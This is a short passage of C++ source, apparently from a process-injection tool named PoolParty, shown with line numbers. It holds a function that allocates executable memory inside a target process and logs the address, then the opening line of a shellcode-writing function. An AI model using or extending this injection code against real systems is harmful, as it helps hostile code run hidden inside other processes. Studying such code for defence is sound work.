| 48 | } |
| 49 | |
| 50 | LPVOID PoolParty::AllocateShellcodeMemory() const |
| 51 | { |
| 52 | LPVOID ShellcodeAddress = w_VirtualAllocEx(*m_p_hTargetPid, m_szShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 53 | BOOST_LOG_TRIVIAL(info) << boost::format("Allocated shellcode memory in the target process: %p") % ShellcodeAddress; |
| 54 | return ShellcodeAddress; |
| 55 | } |
| 56 | |
| 57 | void PoolParty::WriteShellcode() const |
| 58 | { |
no test coverage detected